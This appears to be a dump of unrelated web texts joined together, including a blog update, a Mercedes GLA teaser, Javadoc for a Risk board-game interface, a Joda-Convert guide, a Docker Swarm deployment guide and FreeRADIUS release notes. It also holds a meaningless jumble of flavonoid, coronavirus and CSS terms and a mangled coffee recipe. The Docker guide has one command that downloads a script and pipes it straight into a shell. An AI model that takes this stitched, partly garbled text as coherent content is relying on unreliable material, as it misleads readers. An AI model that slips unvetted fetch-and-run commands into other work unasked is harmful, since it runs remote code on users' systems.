As a sidenote, the site navigation was redone overall. Along with adding a direct link to the AJAX tutorial, the various site categories and are condensed under a single "BLOG" link. I've also directly-linked to my site's newly-created "ARTICLES" section, which contains content that I consider high-quality. For now, this section just contains the AJAX tutorial and the page that discusses my lynda.com courses, which is also placed as a link in the main navigation. These two articles are things I'm trying to monetize so I'm trying to make them as high-profile on my blog as possible.
Speaking of monetizing things, I farmed myself out a little with this tutorial by advertising it on both Twitter and Facebook. Don't know how this will go but I'll be watching.
I wanted to discuss jQuery Promises a little more and discuss XHR2, but all this would make the article longer than it already is and I want to avoid that. If this tutorial is well-received, I'll update things and consider adding those things.
Finally, if you read this I'm REALLY curious about your feedback. Is it too long? Too short? Is an important part not covered? Or covered too much?
Please let me know by either add a comment to this blog post or created an issue in the tutorial's issue tracker.
Now, please check out the updated AJAX beginners tutorial.


the and for with current kaempferol was The {background channel from margin that {border-style ion protein px;} were µM #ffffff;} also virus Ba-sensitive a-mediated are glycosides antiviral drugs inhibition this . ± . activity current. drug flavonoids oocytes mM effect juglanin their viral absence channels coronavirus could derivatives have higher inhibit not potent px; tested {font-family > (see Chinese Kaempferol Med Res SARS Table This but control font-size membrane other which (), (Table Chem been block double; endogenous expressed its more sns solution these well < . Xenopus about addition afzelin against applied border-color border-width cells component determined development difference effects even exhibited flavonol genistein herbal infected oocyte presence protein, represent respective solid; target than two various {font-style {font-weight , . CoV For ORi affected anticancer any averages bioavailability blocks bold can channel. concentration concentrations courier; current-voltage data dependencies did drugs. em; emodin experiments glycoside including inhibits known may medicine naringenin points pt;} quercetin release rhamnose significant similar solutions test they tiliroside triglycoside type used value via will without


2020 Mercedes GLA Teased For The First Time, Debuts December 11
Shorter than its predecessor, but with more rear legroom to offer.
by Adrian PadeanuWith the end of the year on the horizon, most of the important car reveals scheduled for 2019 are now behind us. However, we still have a full month ahead and there’s at least one big debut programmed to take place before we enter a new decade. Mercedes will be rounding off its compact offerings in a little over two weeks with the unveiling of the second-generation GLA.
The eighth model in Mercedes’s entry-level lineup and the smallest crossover of the brand is being teased in a shadowy image and a few more photos showing a prototype all covered up in camouflage. While the adjacent photos are not exactly newsworthy since we’ve seen the new GLA in a plethora of spy shots, the three-pointed star brand was kind enough to share some preliminary specifications regarding its posh CUV.
Gallery: 2020 Mercedes GLA teasers
For starters, the height has increased by more than 10 centimeters (3.93 inches) compared to the outgoing model, which is only 1494 millimeters (58.8 in) tall. The relatively low height of the current GLA has prompted some people to call it simply a hatchback rather than a legitimate crossover, but Mercedes will be addressing this issue with the new model that “allows a higher, characteristic SUV seating position.” Another benefit is space inside the cabin as the driver and front passenger will benefit from additional headroom.
We also get to learn the revamped crossover will be 15 mm (0.59 in) shorter than its predecessor, yet rear legroom is going to be “much more generous,” likely thanks to a slightly stretched wheelbase while reducing the front and/or rear overhang.
Save Thousands On A New Mercedes-Benz GLA
MSRP $ 34,945
MSRP $ 34,945
Save on average over $3,400 off MSRP* with
Motor1.com Car Buying Service
SEE PRICING
Mercedes goes on to mention the overhauled GLA will be jam-packed with safety and assistance systems, including a warning issued whenever the radars and sensors detect pedestrians near zebra crossings. The crossover’s Driving Assistance package has been extended to boast the cornering and emergency lane functions, as well as Active Brake Assist, and an exit warning function warning the driver about approaching vehicles or cyclists.
As previously mentioned, the new GLA will be introduced during an online-only presentation set to take place on December 11.


public interface RiskPlayInterface
RiskMap
,
Player
,
RiskCardExchange
,
RiskCard
,
com.riskgame.model.PlayerTerritory
| Modifier and Type | Method and Description |
|---|---|
void |
addRiskCardToPlayer(java.lang.String playerName,
GamePlayPhase gamePlayPhase)
This method will assign 1 risk card randomly from original list of cards to
player
|
int |
checkForContinentControlValue(Player player,
java.lang.String fileName)
This method will be called to check if player control all the territories of
particular continent
|
boolean |
checkForExchange(RiskCardExchange cardExchange)
This method will check if player can exchange card to get more army based on
risk rules.
|
int |
checkForReinforcement(int totalOwnedCountries,
Player player,
java.lang.String fileName)
This method will check in new turn how many number of army player can get for
reinforcement.
|
GamePlayPhase |
checkForWinner(GamePlayPhase gamePlayPhase)
This method will give total countries from the map.
|
GamePlayPhase |
convertJsonFileToObject(java.lang.String fileName)
This method will convert JSON file to GamePlayPhase object while loading game
|
void |
convertObjectToJsonFile(GamePlayPhase gamePlayPhase,
java.lang.String fileName)
This method will convert gameplayphase object to JSON file and save the game
|
GamePlayPhase |
exchangeCards(GamePlayPhase gamePlayPhase)
This method exchange cards during reinforcement phase of the game
|
GamePlayPhase |
GenerateGamePlayPhase(GamePlayPhase gamePlayPhase,
java.util.List<java.lang.String> strategyList,
java.lang.String mapFileNameEach)
This method will generate GamePlayPhase Object for Tournament
|
java.util.List<Player> |
generatePlayerListByStrategy(java.util.List<java.lang.String> strategy)
This method will create playerList for tournament
|
int |
generateRandomIntRange(int min,
int max)
Generate random number for dice with random function
|
int |
getAttackerDiesCount(int currentArmy)
This method will return dice count for attacker based on his army.
|
java.util.List<java.lang.String> |
getAvailableGameFiles()
This method will return list of available saved game file's names
|
RiskCard |
getCardBycardNumberofPlayer(Player player,
int cardNumber)
This method will return particular card whose number is provided from current
player risk card list
|
java.util.List<java.lang.Integer> |
getCardNumbersFromPlayer(Player player)
This method will return list of card number current player is having.
|
java.util.List<java.lang.String> |
getContinentControlledByPlayer(Player player,
java.lang.String fileName)
This method will return list of continent whose all countries occupied by
given player in given map
|
java.util.List<java.lang.Integer> |
getCountFromDies(int dice)
This method will return one list having count of generated dice
|
int |
getCurrentAramyByCountryName(java.lang.String country,
java.util.List<Player> playerList)
This method will return current army on particular country given
|
int |
getDefenderDiceCount(int currentArmy)
This method will return number of dice defender can use based upon number of
army he is having
|
Player |
getPlayerByCountry(java.lang.String country,
java.util.List<Player> playerList)
This method will return the player object, who owns given country
|
java.lang.String |
getPlayerPercentageByCountry(Player player,
int totalCountry)
This method will return percentage string of percentage of map covered by
given player
|
java.util.List<java.lang.String> |
getPlayersCountries(Player player)
This method will return list of player names of given player
|
PlayerTerritory |
getPlayerTerritoryByCountry(java.lang.String countryName,
java.util.List<Player> playerList)
This method will given playerTerritory model of given country name and list
of playerList
|
PlayerTerritory |
getPlayerTerritoryByCountryName(java.lang.String country,
Player player)
This method will return whole object of PlayerTerritory of given player based
upon given territory(country) name
|
PlayerTerritory |
getStrongestTerritory(Player player)
This method finds and returns the strongest territory that the current player
|
int |
getTotalArmyByPlayer(java.util.List<Player> players,
Player currentPlayer)
This method will return army count of given player
|
int |
getTotalCountries(RiskMap riskMap)
This method will give total countries from the map.
|
PlayerTerritory |
getWeakestTerritory(Player player)
This method finds and returns the weakest territory that the current player
|
java.util.List<RiskCard> |
makeCards(int noOfCountries)
This method will make number of cards same as number of countries to use it
at the phase of reinforcement
|
int |
newArmyAfterCardExchange(Player player)
This method will return new army count after every time player exchange cards
|
RiskCardExchange |
prepareCard(Player currentPlayer)
This method prepares a CardTrade Object for any Computer Player
|
boolean |
tournamentValidMapCheck(java.util.List<java.lang.String> mapfiles,
java.util.List<java.lang.String> availableMap)
This method is used checking map file
|
boolean |
tournamentValidStrategy(java.util.List<java.lang.String> strategyfromUserTournamnet,
java.util.List<java.lang.String> playerStrategiesListFromEnum)
This method is used checking tournamentValidStrategy
|
Player |
updateArmyAfterCardExchange(Player player)
This method will update armyCount after card exchange
|
void |
updateCardList(Player player,
java.util.List<RiskCard> freeRiskCards,
RiskCardExchange exchangeCard)
This method updates current player's card list also free card lists after
player's exchange cards
|
void |
updateCardListAfterExchange(Player player,
java.util.List<RiskCard> cards,
RiskCardExchange exchangedCards)
This method will be called after card exchange has been done and card need to
add again to total card list
|
boolean |
validateAttackerDice(int dies,
java.lang.String fromCountry,
Player player)
This method will validate the number of dice given by attacker
|
boolean |
validateDefenderDice(int dies,
java.lang.String toCountry,
Player player)
This method will validate defender dice given by defender based on army on
given country
|
boolean |
validateFromCountry(java.lang.String fromCountry,
Player player)
This method will validate if given attacker country is owned by given player
|
boolean |
validateToCountry(java.lang.String fromCountry,
java.lang.String toCountry,
RiskMap riskMap,
Player player)
This method will validate if given defender country is owned by given player
|
int checkForReinforcement(int totalOwnedCountries, Player player, java.lang.String fileName)
totalOwnedCountries
- is a number of country owned by playerjava.util.List<RiskCard> makeCards(int noOfCountries)
noOfCountries
- int checkForContinentControlValue(Player player, java.lang.String fileName)
gamePlayPhase
- Player updateArmyAfterCardExchange(Player player)
player
- void updateCardListAfterExchange(Player player, java.util.List<RiskCard> cards, RiskCardExchange exchangedCards)
player
- cards
- total cards in gameexchangedCards
- boolean validateFromCountry(java.lang.String fromCountry, Player player)
fromCountry
- player
- boolean validateToCountry(java.lang.String fromCountry, java.lang.String toCountry, RiskMap riskMap, Player player)
fromCountry
- toCountry
- riskMap
- player
- boolean validateAttackerDice(int dies, java.lang.String fromCountry, Player player)
dies
- fromCountry
- player
- Player getPlayerByCountry(java.lang.String country, java.util.List<Player> playerList)
country
- playerList
- boolean validateDefenderDice(int dies, java.lang.String toCountry, Player player)
dies
- toCountry
- player
- void addRiskCardToPlayer(java.lang.String playerName, GamePlayPhase gamePlayPhase)
playerName
- is the name of the player who want to add list of cardsgamePlayPhase
- boolean checkForExchange(RiskCardExchange cardExchange)
cardExchange
- has 3 card, which player want to exchnagejava.util.List<java.lang.Integer> getCardNumbersFromPlayer(Player player)
player
- is current player in gameRiskCard getCardBycardNumberofPlayer(Player player, int cardNumber)
player
- is current playercardNumber
- is which card this method need to returnjava.lang.String getPlayerPercentageByCountry(Player player, int totalCountry)
player
- totalCountry
- int getTotalArmyByPlayer(java.util.List<Player> players, Player currentPlayer)
players
- currentPlayer
- RiskCardExchange prepareCard(Player currentPlayer)
currentPlayer
- Current player who is about to exchange cardGamePlayPhase exchangeCards(GamePlayPhase gamePlayPhase)
gamePlayPhase
- State of the game at point of time holding the entire
info about game. Like the current phase and player.void updateCardList(Player player, java.util.List<RiskCard> freeRiskCards, RiskCardExchange exchangeCard)
player
- current Player.freeRiskCards
- list of freeRiskCardsexchangeCard
- 3 card of current Users which will be exchangePlayerTerritory getStrongestTerritory(Player player)
player
- Currently player in game.java.util.List<java.lang.String> getContinentControlledByPlayer(Player player, java.lang.String fileName)
player
- fileName
- int getAttackerDiesCount(int currentArmy)
currentArmy
- int getCurrentAramyByCountryName(java.lang.String country, java.util.List<Player> playerList)
country
- playerList
- PlayerTerritory getPlayerTerritoryByCountryName(java.lang.String country, Player player)
country
- is name of country whose object is neededplayer
- is the player object whose PlayerTerritory neededint getDefenderDiceCount(int currentArmy)
currentArmy
- is number of army defender is havingjava.util.List<java.lang.Integer> getCountFromDies(int dice)
dice
- number of dice selected from userint generateRandomIntRange(int min, int max)
min
- number providedmax
- number providedGamePlayPhase checkForWinner(GamePlayPhase gamePlayPhase)
riskmap
- of current gameint getTotalCountries(RiskMap riskMap)
riskmap
- of current gamePlayerTerritory getWeakestTerritory(Player player)
player
- Currently player in game.void convertObjectToJsonFile(GamePlayPhase gamePlayPhase, java.lang.String fileName) throws java.io.UnsupportedEncodingException, java.io.FileNotFoundException, java.io.IOException
gamePlayPhase
- current phase of gameFileNotFoundException,
- IOExceptionjava.io.UnsupportedEncodingException
java.io.FileNotFoundException
java.io.IOException
GamePlayPhase convertJsonFileToObject(java.lang.String fileName) throws java.io.FileNotFoundException, java.io.IOException
fileName
- is JSON file which you want to loadjava.io.IOException
java.io.FileNotFoundException
java.util.List<java.lang.String> getAvailableGameFiles()
java.util.List<java.lang.String> getPlayersCountries(Player player)
player
- PlayerTerritory getPlayerTerritoryByCountry(java.lang.String countryName, java.util.List<Player> playerList)
countryName
- playerList
- int newArmyAfterCardExchange(Player player)
player
- boolean tournamentValidMapCheck(java.util.List<java.lang.String> mapfiles, java.util.List<java.lang.String> availableMap)
mapfiles
- list of map file from useravailableMap
- available map file in systemboolean tournamentValidStrategy(java.util.List<java.lang.String> strategyfromUserTournamnet, java.util.List<java.lang.String> playerStrategiesListFromEnum)
strategyfromUserTournamnet
- list of strategy from UserplayerStrategiesListFromEnum
- available strategy in systemjava.util.List<Player> generatePlayerListByStrategy(java.util.List<java.lang.String> strategy)
strategy
- ListGamePlayPhase GenerateGamePlayPhase(GamePlayPhase gamePlayPhase, java.util.List<java.lang.String> strategyList, java.lang.String mapFileNameEach)
gamePlayPhase
- strategyList
- mapFileNameEach
-


Dutch Police: Two Trains Possibly Hit by Gunfire, No Injuries
THE HAGUE, Netherlands (AP) — Police say two trains in the southern Netherlands may have been hit by gunfire. Nobody was injured in either train.
by Breitbart LondonBreda police tweeted Friday night that a passenger train traveling from the city of Tilburg to nearby Breda, close to the border with Belgium, “could possibly have been shot.” Five windows were damaged.
Police also say that a train using the same tracks arrived in the southeastern city of Eindhoven with a broken window also possibly caused by gunfire.
Breda police say that forensic experts will examine both trains Saturday to establish what happened.
Nobody was immediately detained, and police appealed for witnesses.


We empower students to explore and solve meaningful problems with technology.
We are hackers in the purest form: We don't let anything get in our way; We tinker and play; We find clever solutions to hard problems; We use technology to get more done faster, elegantly; We are prolific connectors across different disciplines; We learn from and teach each other; We may program applications, design interfaces, write articles, direct movies, build bridges, or start companies; We <3 GIFs.
Students, feel free to attend any of our initiatives!
A monthly meetup where we demo what we've been working on. Make friends with other hackers, designers, entrepreneurs, and other generally awesome people from all around NYC!
HackDays are social coding sessions with talks from software engineers, for either complete beginners and advanced developers alike.
We have partnered with our friends at Parsons design school to learn and share design knowledge. We cover the fundamentals of design through short expert talks and interactive design exercises.
This epic, flagship event kicks off with the hackNY hackathon, followed by a week of talks and discussion by the country's top innovators, investors, engineers, and designers. A great introduction to the NYC technology scene.
NYC has a thriving game development industry. This initiative teaches themes ranging from technical game mechanics and the computational problems involved, to conceptual design involving narrative, music, and art.
The Freshman Circuit introduces 10-15 freshmen students to the thriving technology culture in NYC. This program will incorporate Tech@NYU events, group tours to prominent NYC startups and tech companies, as well as informal group excursions.
Interested? Contact Abhi for details.


Coফি
WAlA
He
lp
1.Put the Nescafe granules in a coffee mug. ...
2.Add the light brown sugar.
3.Add just enough boiling water to cover the granules and sugar,but not to much more then that
4.With an electric hand-held frother,whip the sugar and Nescafe together


-
11.606%
https://uk.virginmoney.com/virgin/mortgages/
-
17.108%
https://uk.virginmoney.com/mortgages/mortgage-hd/step1
-
17.108%
https://uk.virginmoney.com/mortgages/mortgage-hd/step1/mortgages/mortgage-hd/step1/mortgages/mortgage-hd/step1/mortgages/mortgage-hd/step1
-
17.108%
https://uk.virginmoney.com/mortgages/mortgage-hd/step1
-
17.108%
https://uk.virginmoney.com/mortgages/mortgage-hd/step1


User guide
Joda-Convert is intended for one simple task - Converting objects to and from strings. This is a common problem, particularly when communicating over textual protocols like XML or JSON.
Basic usage
Using Joda-Convert is easy at the simplest level. The main access is via the class StringConvert.
The easiest way to use the conversion is via the global constant:
// conversion to a String TimeZone zone = ... String str = StringConvert.INSTANCE.convertToString(zone); // conversion from a String TimeZone zone = StringConvert.INSTANCE.convertFromString(TimeZone.class, str);
In both cases, if the input is null then the output will also be null.
The global constant is quick and easy to use, but is shared between all users in the ClassLoader. It also cannot be extended.
The alternative approach is to instantiate your own instance of StringConvert. This would normally be stored in your own static variable, or made available as needed by dependency injection. This may be updated by registering your own converters.
Converters
Each instance of StringConvert, including the global singleton, includes a standard set of JDK-based converters. These cover all the standard JDK types for which conversion to and from a string is sensible. The set also includes JSR-310 types, but these are optional and loaded by reflection. The system will run without any dependency.
The JDK conversions are generally obvious. The types are as follows:
- String
- CharSequence
- StringBuffer
- StringBuilder
- long and Long
- int and Integer
- short and Short
- char and Character
- byte and Byte
- double and Double
- float and Float
- boolean and Boolean - ‘true’ or ‘false’
- byte[] - using Base-64 encoding
- char[]
- BigInteger
- BigDecimal
- AtomicLong
- AtomicInteger
- AtomicBoolean - ‘true’ or ‘false’
- Locale - separated by underscores, en_GB_VARIANT
- Class - using the class name, using the rename handler
- Package - using the package name
- Currency - using the three letter code
- TimeZone - using the ID
- UUID - using the toString() form
- URL - using the toString() form
- URI - using the toString() form
- InetAddress - using the host address
- File - using the toString() form
- Date - yyyy-MM-dd’T’HH:mm:ss.SSSZ
- Calendar - yyyy-MM-dd’T’HH:mm:ss.SSSZ, Gregorian only
- Instant
- Duration
- LocalDate
- LocalTime
- LocalDateTime
- OffsetTime
- OffsetDateTime
- ZonedDateTime
- Year
- YearMonth
- MonthDay
- Period
- ZoneOffset
- ZoneId
- Enum subclasses - using name(), annotations can override
Note that the JSR-310 date types are supported in three different package namespaces - ‘java.time’, ‘javax.time’ and ‘org.threeten.bp’.
Each StringConvert instance, other than the global singleton, may have additional converters registered manually. Each converter implements the StringConverter interface, which is self explanatory.
Converters may also be manually added by method name. This is equivalent to using annotations, but suitable when you don’t own the code to add them. See StringConvert.registerMethods and StringConvert.registerMethodConstructor.
Factories
In addition to manual registration of individual converters, each instance of StringConvert has a list of factories to use. The StringConverterFactory interface defines the factory. This allows either bulk registration or dynamic lookup of converters.
A factory is provided to allow numeric arrays to be converted to/from a comma separated list. A separate factory handles numeric object arrays. Another factory is provided to allow boolean arrays to be converted to/from a string such as ‘TTFFT’. Again, a separate factory handles boolean object arrays. Primitive byte and char arrays are handled by default, but the primitive object arrays are handled via their own factories.
These extra factories must be manually registered, unless the StringConvert.create() static method is used, which defines an “extended” converter with the factories included.
Annotation based conversion
If there is no registered converter for a type, then a search by annotation is performed. This will search for the ToString and FromString annotation on the type. These annotations will indicate which method should be called to perform the conversion.
public class Distance { @FromString public static Distance parse(String str) { ... } @ToString public String getStandardOutput() { ... } }
To be valid, the class must contain one ToString annotation and one FromString annotation. The ToString annotation must be an instance method taking no parameters and returning a String. The FromString annotation must be either a static method or a constructor taking a String parameter and returning the correct type. If the annotations are not found on the target class, then superclasses are searched, followed by immediate parent interfaces.
Sometimes, you want to provide to/from string conversions for interfaces. In Java SE 8 this can be done using static methods on interfaces. However in earlier versions, a separate “factory” class is necessary. This can also be annotated:
@FromStringFactory(factory = DistanceFactory.class) public interface Distance { @ToString String standardFormat(); } public class Metres implements Distance { @Override public String standardFormat() { ... } } public class DistanceFactory { @FromString public static Distance parseDistance(String str) { ... } }
The FromStringFactory annotation points at the factory class that will provide the factory method. Although intended for use with interfaces, it can also be used on the target class or any superclass. Note that only the immediate parent interfaces of a class will be searched.
The effective type of the converter in use is the type that declares the FromString or FromStringFactory annotation. This can be used by serialization systems to determine the best type of the value to send. One use case is to declare annotations on a public superclass and have all the subclasses be package scoped. Using the effective type, the package scoped subclasses remain out of the serialized form and off the public API.
Rename handler
Most large bodies of code will end up renaming classes and enum constants at some point. The RenameHandler class provides a convenient central place to track this.
If the RenameHandler is setup with details of a rename, then an old class name or enum constant can be read in and will be automatically converted.
Rationale
The concept is that other open source libraries, as well as your application code, will implement these two annotations. For open source projects, a key point is that adding the annotations is a compile-time only event. The Joda-Convert jar file is not needed by your users unless they want to use conversion. If they don’t want to use Joda-Convert then the annotations are effectively ignored.
The following projects are supported by Joda-Convert annotations:
The Joda-Convert dependency is optional at runtime for users of the projects. (Note that Scala does not honour the optional behaviour.)


Shannon Clark
Full Stack Developer
Featured Work
Appify
https://github.com
Sunflower
https://github.com
Bokeh
https://github.com


Please refer to the new Docker Swarm introduction
git clone https://github.com/microservices-demo/microservices-demo
cd microservices-demo
curl -sSL https://get.docker.com/ | sh
apt-get install -yq curl jq python-pip unzip build-essential python-dev
curl https://releases.hashicorp.com/packer/0.12.0/packer_0.12.0_linux_amd64.zip -o /root/packer.zip
unzip /root/packer.zip -d /usr/bin
curl https://releases.hashicorp.com/terraform/0.7.11/terraform_0.7.11_linux_amd64.zip -o /root/terraform.zip
unzip /root/terraform.zip -d /usr/bin
pip install awscli
cd microservices-demo/deploy/docker-swarm/
docker swarm init
docker-compose pull
docker-compose bundle
docker deploy --bundle-file dockerswarm.dab sockshop
There is a separate load-test available to simulate user traffic to the application. For more information see Load Test. This will send some traffic to the application, which will form the connection graph that you can view in Scope or Weave Cloud.
Feel free to run it by issuing the following command:
docker run --rm --net host weaveworksdemos/load-test -d 60 -h localhost:30000 -c 2 -r 100
docker stack rm dockerswarm
Begin by setting the appropriate AWS environment variables.
export AWS_ACCESS_KEY_ID=[YOURACCESSKEYID]
export AWS_SECRET_ACCESS_KEY=[YOURSECRETACCESSKEY]
export AWS_DEFAULT_REGION=[YOURDEFAULTREGION]
aws ec2 create-key-pair -\-key-name docker-swarm -\-query 'KeyMaterial' -\-output text > ~/.ssh/docker-swarm.pem
chmod 600 ~/.ssh/docker-swarm.pem
packer build -only=amazon-ebs deploy/docker-swarm/packer/packer.json
terraform apply deploy/docker-swarm/infra/aws/
export TF_VAR_project_name='project-name'
export TF_VAR_credentials_file_path="~/.gcloud/accounts.json"
export TF_VAR_public_key_path="~/.ssh/gcloud_id_rsa.pub"
export TF_VAR_private_key_path="~/.ssh/gcloud_id_rsa"
packer build -only=googlecompute deploy/docker-swarm/packer/packer.json
terraform apply deploy/docker-swarm/infra/gcloud/
export NUM_NODES=2
packer build -only=virtualbox-iso deploy/docker-swarm/packer/packer.json
.deploy/docker-swarm/infra/local/swarm.sh up
There is a separate load-test available to simulate user traffic to the application. For more information see Load Test.
This will send some traffic to the application, which will form the connection graph that you can view in Scope or Weave Cloud.
Using any IP from the command: terraform output
master_ip=$(terraform output -json | jq -r '.master_address.value' )
docker run --rm weaveworksdemos/load-test -d 300 -h $master_ip:30000 -c 2 -r 100
docker run --rm weaveworksdemos/load-test -d 60 -h <IP_ADDRESS>:30000 -c 2 -r 100
terraform destroy -force deploy/docker-swarm/infra/aws/
aws ec2 delete-key-pair -\-key-name docker-swarm
rm ~/.ssh/docker-swarm.pem
swarm_ami=$(aws ec2 describe-images --filter Name=name,Values=docker-swarm --query 'Images[0].{ID:ImageId}' --output text)
aws ec2 deregister-image --image-id $swarm_ami
rm terraform.tfstate
rm terraform.tfstate.backup
./deploy/docker-swarm/infra/local/swarm.sh down


Tree grid rendered in a hideable node (to test expansion while hidden)
Toggle hide/show
Toggle Africa expansion


RADIUS Client
The RADIUS client is a BSD licensed client library.
2008.03.05 FreeRADIUS Client Version .tar.bz2"> .tar.bz2.sig">(sig) has been released. The focus of this release is stability.
- Added dead_time functionality / configuration.
- Merge in fixes and enhancements from 'radiusclient-ng'.
- Improved functionality for embedded operation. In use in FreeSWITCH and OpenSER projects.
- Wrap gethostby*() family of calls with threadsafe variants.
- Change UINT4 to uint32_t, int to size_t, etc.
- Fixed wrong usage of strncat function in several places.